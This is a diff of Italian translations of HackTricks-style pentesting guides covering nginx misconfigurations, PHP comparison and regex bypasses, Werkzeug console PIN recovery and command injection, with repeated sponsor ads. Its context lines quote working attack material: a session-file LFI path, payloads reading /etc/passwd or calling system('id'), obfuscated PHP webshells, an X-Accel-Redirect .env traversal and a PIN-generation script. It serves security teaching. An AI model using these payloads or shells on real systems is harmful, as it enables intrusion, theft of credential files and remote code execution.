* [**proxy\_hide\_header**](http://nginx.org/en/docs/http/ngx\_http\_proxy\_module.html#proxy\_hide\_header): Come suggerisce il nome, questa direttiva nasconde gli header HTTP specificati dal client, migliorando la privacy e la sicurezza.
|
||||
|
||||
Quando viene effettuata una richiesta `GET` valida, Nginx la elabora normalmente, restituendo una risposta di errore standard senza rivelare intestazioni segrete. Tuttavia, una richiesta HTTP non valida bypassa questo meccanismo, risultando nell'esposizione delle risposte raw del backend, comprese intestazioni segrete e messaggi di errore.
|
||||
Quando viene effettuata una richiesta `GET` valida, Nginx la elabora normalmente, restituendo una risposta di errore standard senza rivelare alcun header segreto. Tuttavia, una richiesta HTTP non valida bypassa questo meccanismo, risultando nell'esposizione delle risposte raw del backend, inclusi header segreti e messaggi di errore.
|
||||
|
||||
## merge\_slashes impostato su off
|
||||
|
||||
Per impostazione predefinita, la **direttiva `merge_slashes` di Nginx** è impostata su **`on`**, che comprime più barre oblique in un URL in una singola barra. Questa funzionalità, pur semplificando l'elaborazione degli URL, può inavvertitamente nascondere vulnerabilità nelle applicazioni dietro Nginx, in particolare quelle soggette ad attacchi di inclusione di file locali (LFI). Gli esperti di sicurezza **Danny Robinson e Rotem Bar** hanno evidenziato i potenziali rischi associati a questo comportamento predefinito, specialmente quando Nginx funge da reverse-proxy.
|
||||
|
||||
Per mitigare tali rischi, si raccomanda di **disattivare la direttiva `merge_slashes`** per le applicazioni suscettibili a queste vulnerabilità. Questo garantisce che Nginx inoltri le richieste all'applicazione senza alterare la struttura dell'URL, evitando così di mascherare eventuali problemi di sicurezza sottostanti.
|
||||
Per mitigare tali rischi, si raccomanda di **disattivare la direttiva `merge_slashes`** per le applicazioni suscettibili a queste vulnerabilità. Questo garantisce che Nginx inoltri le richieste all'applicazione senza alterare la struttura dell'URL, evitando di mascherare eventuali problemi di sicurezza sottostanti.
|
||||
|
||||
Per ulteriori informazioni, controlla [Danny Robinson e Rotem Bar](https://medium.com/appsflyer/nginx-may-be-protecting-your-applications-from-traversal-attacks-without-you-even-knowing-b08f882fd43d).
|
||||
|
||||
### **Intestazioni di Risposta Maclicious**
|
||||
### **Intestazioni di risposta Maclicious**
|
||||
|
||||
Come mostrato in [**questo writeup**](https://mizu.re/post/cors-playground), ci sono alcune intestazioni che, se presenti nella risposta del server web, cambieranno il comportamento del proxy Nginx. Puoi controllarle [**nei documenti**](https://www.nginx.com/resources/wiki/start/topics/examples/x-accel/):
|
||||
Come mostrato in [**questo articolo**](https://mizu.re/post/cors-playground), ci sono alcune intestazioni che, se presenti nella risposta del server web, cambieranno il comportamento del proxy Nginx. Puoi controllarle [**nella documentazione**](https://www.nginx.com/resources/wiki/start/topics/examples/x-accel/):
|
||||
|
||||
* `X-Accel-Redirect`: Indica a Nginx di reindirizzare internamente una richiesta a una posizione specificata.
|
||||
* `X-Accel-Buffering`: Controlla se Nginx deve bufferizzare la risposta o meno.
|
||||
|
@ -199,9 +199,9 @@ Come mostrato in [**questo writeup**](https://mizu.re/post/cors-playground), ci
|
|||
|
||||
Ad esempio, l'intestazione **`X-Accel-Redirect`** causerà un **reindirizzamento** interno in nginx. Quindi avere una configurazione nginx con qualcosa come **`root /`** e una risposta dal server web con **`X-Accel-Redirect: .env`** farà sì che nginx invii il contenuto di **`/.env`** (Path Traversal).
|
||||
|
||||
### **Valore Predefinito nella Direttiva Map**
|
||||
### **Valore predefinito nella direttiva Map**
|
||||
|
||||
Nella **configurazione di Nginx**, la direttiva `map` gioca spesso un ruolo nel **controllo dell'autorizzazione**. Un errore comune è non specificare un valore **predefinito**, il che potrebbe portare a accessi non autorizzati. Ad esempio:
|
||||
Nella **configurazione di Nginx**, la direttiva `map` gioca spesso un ruolo nel **controllo dell'autorizzazione**. Un errore comune è non specificare un valore **predefinito**, il che potrebbe portare ad accessi non autorizzati. Ad esempio:
|
||||
```yaml
|
||||
http {
|
||||
map $uri $mappocallow {
|
||||
|
@ -234,7 +234,7 @@ La direttiva **`proxy_pass`** è utilizzata per reindirizzare le richieste ad al
|
|||
|
||||
## proxy\_set\_header Upgrade & Connection
|
||||
|
||||
Se il server nginx è configurato per passare le intestazioni Upgrade e Connection, un [**attacco di h2c Smuggling**](../../pentesting-web/h2c-smuggling.md) potrebbe essere eseguito per accedere a endpoint protetti/interni.
|
||||
Se il server nginx è configurato per passare le intestazioni Upgrade e Connection, un [**attacco h2c Smuggling**](../../pentesting-web/h2c-smuggling.md) potrebbe essere eseguito per accedere a endpoint protetti/interni.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Questa vulnerabilità consentirebbe a un attaccante di **stabilire una connessione diretta con l'endpoint `proxy_pass`** (`http://backend:9999` in questo caso) il cui contenuto non verrà controllato da nginx.
|
||||
|
@ -288,9 +288,9 @@ Nginxpwner è uno strumento semplice per cercare comuni misconfigurazioni e vuln
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud
|
||||
**Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud**
|
||||
|
||||
**Trova e segnala vulnerabilità critiche ed esploitabili con un reale impatto sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti consentono di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
|
||||
**Trova e segnala vulnerabilità critiche ed esploitabili con un reale impatto commerciale.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti consentono di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -304,7 +304,7 @@ Impara e pratica l'Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
|
|||
|
||||
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi trucchi di hacking inviando PR ai repository github di** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -10,14 +10,14 @@ Impara e pratica il hacking GCP: <img src="../../../.gitbook/assets/grte.png" al
|
|||
|
||||
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud
|
||||
**Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud**
|
||||
|
||||
**Trova e segnala vulnerabilità critiche e sfruttabili con un reale impatto sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti permettano di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
|
||||
|
||||
|
@ -27,7 +27,7 @@ Impara e pratica il hacking GCP: <img src="../../../.gitbook/assets/grte.png" al
|
|||
|
||||
Questo è valido anche per i cookie di phpMyAdmin.
|
||||
|
||||
Cookie:
|
||||
Cookies:
|
||||
```
|
||||
PHPSESSID
|
||||
phpMyAdmin
|
||||
|
@ -41,7 +41,7 @@ Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
|
|||
```
|
||||
## Bypassare i confronti PHP
|
||||
|
||||
### Confronti deboli/Type Juggling ( == )
|
||||
### Confronti deboli/Juggling di tipo ( == )
|
||||
|
||||
Se `==` viene utilizzato in PHP, ci sono casi inaspettati in cui il confronto non si comporta come previsto. Questo perché "==" confronta solo i valori trasformati nello stesso tipo, se vuoi anche confrontare che il tipo dei dati confrontati sia lo stesso devi usare `===`.
|
||||
|
||||
|
@ -62,7 +62,7 @@ Ulteriori informazioni in [https://medium.com/swlh/php-type-juggling-vulnerabili
|
|||
|
||||
### **in\_array()**
|
||||
|
||||
**Type Juggling** influisce anche sulla funzione `in_array()` per impostazione predefinita (devi impostare a true il terzo argomento per effettuare un confronto rigoroso):
|
||||
**Juggling di tipo** influisce anche sulla funzione `in_array()` per impostazione predefinita (devi impostare a true il terzo argomento per effettuare un confronto rigoroso):
|
||||
```php
|
||||
$values = array("apple","orange","pear","grape");
|
||||
var_dump(in_array(0, $values));
|
||||
|
@ -81,9 +81,9 @@ if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real
|
|||
```
|
||||
Lo stesso errore si verifica con `strcasecmp()`
|
||||
|
||||
### Juggling di tipo rigoroso
|
||||
### Gioco di tipi rigoroso
|
||||
|
||||
Anche se `===` **viene utilizzato**, potrebbero esserci errori che rendono la **comparazione vulnerabile** al **juggling di tipo**. Ad esempio, se la comparazione **sta convertendo i dati in un tipo di oggetto diverso prima di confrontare**:
|
||||
Anche se `===` **viene utilizzato**, potrebbero esserci errori che rendono la **comparazione vulnerabile** al **gioco di tipi**. Ad esempio, se la comparazione **sta convertendo i dati in un diverso tipo di oggetto prima di confrontare**:
|
||||
```php
|
||||
(int) "1abc" === (int) "1xyz" //This will be true
|
||||
```
|
||||
|
@ -106,7 +106,7 @@ echo preg_match("/^.*1/",$myinput);
|
|||
echo preg_match("/^.*1.*$/",$myinput);
|
||||
//0 --> In this scenario preg_match DOESN'T find the char "1"
|
||||
```
|
||||
Per bypassare questo controllo potresti **inviare il valore con nuove righe urlencoded** (`%0A`) o se puoi inviare **dati JSON**, invialo in **più righe**:
|
||||
Per bypassare questo controllo potresti **inviare il valore con nuove righe urlencoded** (`%0A`) oppure se puoi inviare **dati JSON**, invialo in **più righe**:
|
||||
```php
|
||||
{
|
||||
"cmd": "cat /etc/passwd"
|
||||
|
@ -135,7 +135,7 @@ In breve, il problema si verifica perché le funzioni `preg_*` in PHP si basano
|
|||
**Inviare un input che avrebbe fatto fare 100\_000+ ricorsioni all'espressione regolare, causando SIGSEGV, facendo restituire alla funzione `preg_match()` `false`, facendo così pensare all'applicazione che il nostro input non è malevolo, lanciando la sorpresa alla fine del payload qualcosa come `{system(<verybadcommand>)}` per ottenere SSTI --> RCE --> flag :)**.
|
||||
|
||||
Bene, in termini di regex, in realtà non stiamo facendo 100k "ricorsioni", ma stiamo contando i "passi di backtracking", che come afferma la [documentazione PHP](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) è impostata di default a 1\_000\_000 (1M) nella variabile `pcre.backtrack_limit`.\
|
||||
Per raggiungere questo, `'X'*500_001` risulterà in 1 milione di passi di backtracking (500k in avanti e 500k indietro):
|
||||
Per raggiungere questo, `'X'*500_001` risulterà in 1 milione di passi di backtracking (500k in avanti e 500k all'indietro):
|
||||
```python
|
||||
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
|
||||
```
|
||||
|
@ -173,7 +173,7 @@ Check:
|
|||
## More tricks
|
||||
|
||||
* **register\_globals**: In **PHP < 4.1.1.1** o se mal configurato, **register\_globals** potrebbe essere attivo (o il loro comportamento è imitato). Questo implica che nelle variabili globali come $\_GET se hanno un valore ad esempio $\_GET\["param"]="1234", puoi accedervi tramite **$param. Pertanto, inviando parametri HTTP puoi sovrascrivere variabili** che vengono utilizzate all'interno del codice.
|
||||
* I **cookie PHPSESSION dello stesso dominio sono memorizzati nello stesso posto**, quindi se all'interno di un dominio **cookie diversi sono utilizzati in percorsi diversi** puoi fare in modo che un percorso **acceda al cookie dell'altro percorso** impostando il valore del cookie dell'altro percorso.\
|
||||
* I **cookie PHPSESSION dello stesso dominio sono memorizzati nello stesso posto**, quindi se all'interno di un dominio **cookie diversi vengono utilizzati in percorsi diversi** puoi fare in modo che un percorso **acceda al cookie dell'altro percorso** impostando il valore del cookie dell'altro percorso.\
|
||||
In questo modo, se **entrambi i percorsi accedono a una variabile con lo stesso nome** puoi fare in modo che il **valore di quella variabile in path1 si applichi a path2**. E poi path2 considererà validi le variabili di path1 (dando al cookie il nome che corrisponde a esso in path2).
|
||||
* Quando hai i **nomi utente** degli utenti della macchina. Controlla l'indirizzo: **/\~\<USERNAME>** per vedere se le directory php sono attivate.
|
||||
* [**LFI and RCE using php wrappers**](../../../pentesting-web/file-inclusion/)
|
||||
|
@ -193,17 +193,17 @@ True
|
|||
|
||||
#### Causing error after setting headers
|
||||
|
||||
Da [**questo thread di twitter**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A\&s=19) puoi vedere che inviando più di 1000 parametri GET o 1000 parametri POST o 20 file, PHP non imposterà le intestazioni nella risposta.
|
||||
Da [**questo thread di twitter**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A\&s=19) puoi vedere che inviando più di 1000 parametri GET o 1000 parametri POST o 20 file, PHP non imposterà gli header nella risposta.
|
||||
|
||||
Consentendo di bypassare, ad esempio, le intestazioni CSP impostate in codici come:
|
||||
Consentendo di bypassare, ad esempio, gli header CSP impostati in codici come:
|
||||
```php
|
||||
<?php
|
||||
header("Content-Security-Policy: default-src 'none';");
|
||||
if (isset($_GET["xss"])) echo $_GET["xss"];
|
||||
```
|
||||
#### Compilare un corpo prima di impostare le intestazioni
|
||||
#### Riempire un corpo prima di impostare le intestazioni
|
||||
|
||||
Se una **pagina PHP sta stampando errori e restituendo alcuni input forniti dall'utente**, l'utente può far stampare al server PHP un **contenuto sufficientemente lungo** in modo che quando cerca di **aggiungere le intestazioni** nella risposta, il server generi un errore.\
|
||||
Se una **pagina PHP sta stampando errori e restituendo alcuni input forniti dall'utente**, l'utente può far stampare al server PHP un **contenuto sufficientemente lungo** in modo che quando cerca di **aggiungere le intestazioni** nella risposta, il server genererà un errore.\
|
||||
Nello scenario seguente, **l'attaccante ha fatto generare al server alcuni grandi errori**, e come puoi vedere nello schermo, quando PHP ha cercato di **modificare le informazioni dell'intestazione, non ci è riuscito** (quindi, ad esempio, l'intestazione CSP non è stata inviata all'utente):
|
||||
|
||||
![](<../../../.gitbook/assets/image (1085).png>)
|
||||
|
@ -222,7 +222,7 @@ Controlla la pagina:
|
|||
**\`ls\`;**\
|
||||
**shell\_exec("ls");**
|
||||
|
||||
[Controlla questo per ulteriori funzioni PHP utili](php-useful-functions-disable\_functions-open\_basedir-bypass/)
|
||||
[Controlla questo per altre utili funzioni PHP](php-useful-functions-disable\_functions-open\_basedir-bypass/)
|
||||
|
||||
### **RCE tramite** **preg\_replace()**
|
||||
```php
|
||||
|
@ -295,7 +295,7 @@ Diverse shell .htaccess possono essere trovate [qui](https://github.com/wireghou
|
|||
Se trovi una vulnerabilità che ti consente di **modificare le variabili env in PHP** (e un'altra per caricare file, anche se con ulteriori ricerche forse questo può essere aggirato), potresti abusare di questo comportamento per ottenere **RCE**.
|
||||
|
||||
* [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld\_preload-and-ld\_library\_path): Questa variabile env ti consente di caricare librerie arbitrarie durante l'esecuzione di altri binari (anche se in questo caso potrebbe non funzionare).
|
||||
* **`PHPRC`** : Istruisce PHP su **dove trovare il suo file di configurazione**, solitamente chiamato `php.ini`. Se puoi caricare il tuo file di configurazione, allora usa `PHPRC` per puntare a esso. Aggiungi un'entrata **`auto_prepend_file`** specificando un secondo file caricato. Questo secondo file contiene codice **PHP normale, che viene poi eseguito** dal runtime PHP prima di qualsiasi altro codice.
|
||||
* **`PHPRC`** : Istruisce PHP su **dove trovare il suo file di configurazione**, di solito chiamato `php.ini`. Se puoi caricare il tuo file di configurazione, allora, usa `PHPRC` per puntare a esso. Aggiungi un'entrata **`auto_prepend_file`** specificando un secondo file caricato. Questo secondo file contiene codice **PHP normale, che viene poi eseguito** dal runtime PHP prima di qualsiasi altro codice.
|
||||
1. Carica un file PHP contenente il nostro shellcode
|
||||
2. Carica un secondo file, contenente una direttiva **`auto_prepend_file`** che istruisce il preprocessore PHP a eseguire il file che abbiamo caricato nel passo 1
|
||||
3. Imposta la variabile `PHPRC` sul file che abbiamo caricato nel passo 2.
|
||||
|
@ -394,7 +394,7 @@ $_($___); #If ¢___ not needed then $_($__), show_source(.passwd)
|
|||
```
|
||||
### XOR easy shell code
|
||||
|
||||
Secondo [**questo writeup** ](https://mgp25.com/ctf/Web-challenge/) è possibile generare un easy shellcode in questo modo:
|
||||
Secondo [**questo writeup** ](https://mgp25.com/ctf/Web-challenge/)è possibile generare un easy shellcode in questo modo:
|
||||
```php
|
||||
$_="`{{{"^"?<>/"; // $_ = '_GET';
|
||||
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);
|
||||
|
@ -470,15 +470,15 @@ $___($_[_]); // ASSERT($_POST[_]);
|
|||
```
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud
|
||||
**Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud**
|
||||
|
||||
**Trova e segnala vulnerabilità critiche ed esploitabili con un impatto reale sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti permettano di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
|
||||
**Trova e segnala vulnerabilità critiche e sfruttabili con un impatto reale sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti permettano di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Impara e pratica AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Impara e pratica l'Hacking AWS:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica l'Hacking GCP: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -17,7 +17,7 @@ Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" dat
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud
|
||||
**Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud**
|
||||
|
||||
**Trova e segnala vulnerabilità critiche ed exploitabili con un reale impatto sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti permettano di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
|
||||
|
||||
|
@ -53,7 +53,7 @@ Per sfruttare il PIN della console, sono necessari due set di variabili, `probab
|
|||
|
||||
* **`username`**: Si riferisce all'utente che ha avviato la sessione Flask.
|
||||
* **`modname`**: Di solito designato come `flask.app`.
|
||||
* **`getattr(app, '__name__', getattr(app.__class__, '__name__'))`**: Generalmente si risolve in **Flask**.
|
||||
* **`getattr(app, '__name__', getattr(app.__class__, '__name__'))`**: Si risolve generalmente in **Flask**.
|
||||
* **`getattr(mod, '__file__', None)`**: Rappresenta il percorso completo a `app.py` all'interno della directory Flask (ad es., `/usr/local/lib/python3.5/dist-packages/flask/app.py`). Se `app.py` non è applicabile, **provare `app.pyc`**.
|
||||
|
||||
#### **`private_bits`**
|
||||
|
@ -159,7 +159,7 @@ rv = num
|
|||
|
||||
print(rv)
|
||||
```
|
||||
Questo script produce il PIN hashando i bit concatenati, aggiungendo sali specifici (`cookiesalt` e `pinsalt`), e formattando l'output. È importante notare che i valori effettivi per `probably_public_bits` e `private_bits` devono essere ottenuti accuratamente dal sistema target per garantire che il PIN generato corrisponda a quello atteso dalla console di Werkzeug.
|
||||
Questo script produce il PIN hashando i bit concatenati, aggiungendo sali specifici (`cookiesalt` e `pinsalt`), e formattando l'output. È importante notare che i valori effettivi per `probably_public_bits` e `private_bits` devono essere ottenuti con precisione dal sistema target per garantire che il PIN generato corrisponda a quello atteso dalla console di Werkzeug.
|
||||
|
||||
{% hint style="success" %}
|
||||
Se sei su una **vecchia versione** di Werkzeug, prova a cambiare l'**algoritmo di hashing in md5** invece di sha1.
|
||||
|
@ -184,15 +184,15 @@ Questo perché, in Werkzeug è possibile inviare alcuni caratteri **Unicode** e
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud
|
||||
**Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud**
|
||||
|
||||
**Trova e segnala vulnerabilità critiche e sfruttabili con un reale impatto sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti permettano di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Impara e pratica Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Impara e pratica il Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica il Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -17,13 +17,13 @@ Impara e pratica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud
|
||||
**Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud**
|
||||
|
||||
**Trova e segnala vulnerabilità critiche ed exploitabili con un reale impatto sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti permettano di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
|
||||
**Trova e segnala vulnerabilità critiche ed exploitabili con un reale impatto commerciale.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti consentono di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
### Intestazione Host
|
||||
### Intestazione host
|
||||
|
||||
Diverse volte il back-end si fida dell'**intestazione Host** per eseguire alcune azioni. Ad esempio, potrebbe utilizzare il suo valore come **dominio per inviare un ripristino della password**. Quindi, quando ricevi un'email con un link per ripristinare la tua password, il dominio utilizzato è quello che hai inserito nell'intestazione Host. Poi, puoi richiedere il ripristino della password di altri utenti e cambiare il dominio in uno controllato da te per rubare i loro codici di ripristino della password. [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2).
|
||||
|
||||
|
@ -38,7 +38,7 @@ Tuttavia, se **superi il controllo** e la tua sessione riceve quel valore "True"
|
|||
|
||||
### Funzionalità di registrazione
|
||||
|
||||
Prova a registrarti come un utente già esistente. Prova anche a utilizzare caratteri equivalenti (punti, molte spaziature e Unicode).
|
||||
Prova a registrarti come un utente già esistente. Prova anche a utilizzare caratteri equivalenti (punti, molti spazi e Unicode).
|
||||
|
||||
### Prendere il controllo delle email
|
||||
|
||||
|
@ -57,9 +57,9 @@ Gli sviluppatori potrebbero dimenticare di disabilitare varie opzioni di debug n
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud
|
||||
**Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud**
|
||||
|
||||
**Trova e segnala vulnerabilità critiche ed exploitabili con un reale impatto sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti permettano di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
|
||||
**Trova e segnala vulnerabilità critiche ed exploitabili con un reale impatto commerciale.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti consentono di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
|
|
@ -17,21 +17,21 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Get a hacker's perspective on your web apps, network, and cloud
|
||||
**Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud**
|
||||
|
||||
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
|
||||
**Trova e segnala vulnerabilità critiche e sfruttabili con un reale impatto sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti consentono di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
## Cos'è l'iniezione di comandi?
|
||||
|
||||
Un'**iniezione di comandi** consente l'esecuzione di comandi arbitrari del sistema operativo da parte di un attaccante sul server che ospita un'applicazione. Di conseguenza, l'applicazione e tutti i suoi dati possono essere completamente compromessi. L'esecuzione di questi comandi consente tipicamente all'attaccante di ottenere accesso non autorizzato o controllo sull'ambiente dell'applicazione e sul sistema sottostante.
|
||||
Un **command injection** consente l'esecuzione di comandi arbitrari del sistema operativo da parte di un attaccante sul server che ospita un'applicazione. Di conseguenza, l'applicazione e tutti i suoi dati possono essere completamente compromessi. L'esecuzione di questi comandi consente tipicamente all'attaccante di ottenere accesso non autorizzato o controllo sull'ambiente dell'applicazione e sul sistema sottostante.
|
||||
|
||||
### Contesto
|
||||
|
||||
A seconda di **dove il tuo input viene iniettato**, potresti dover **terminare il contesto citato** (utilizzando `"` o `'`) prima dei comandi.
|
||||
|
||||
## Iniezione/Esecuzione di comandi
|
||||
## Command Injection/Execution
|
||||
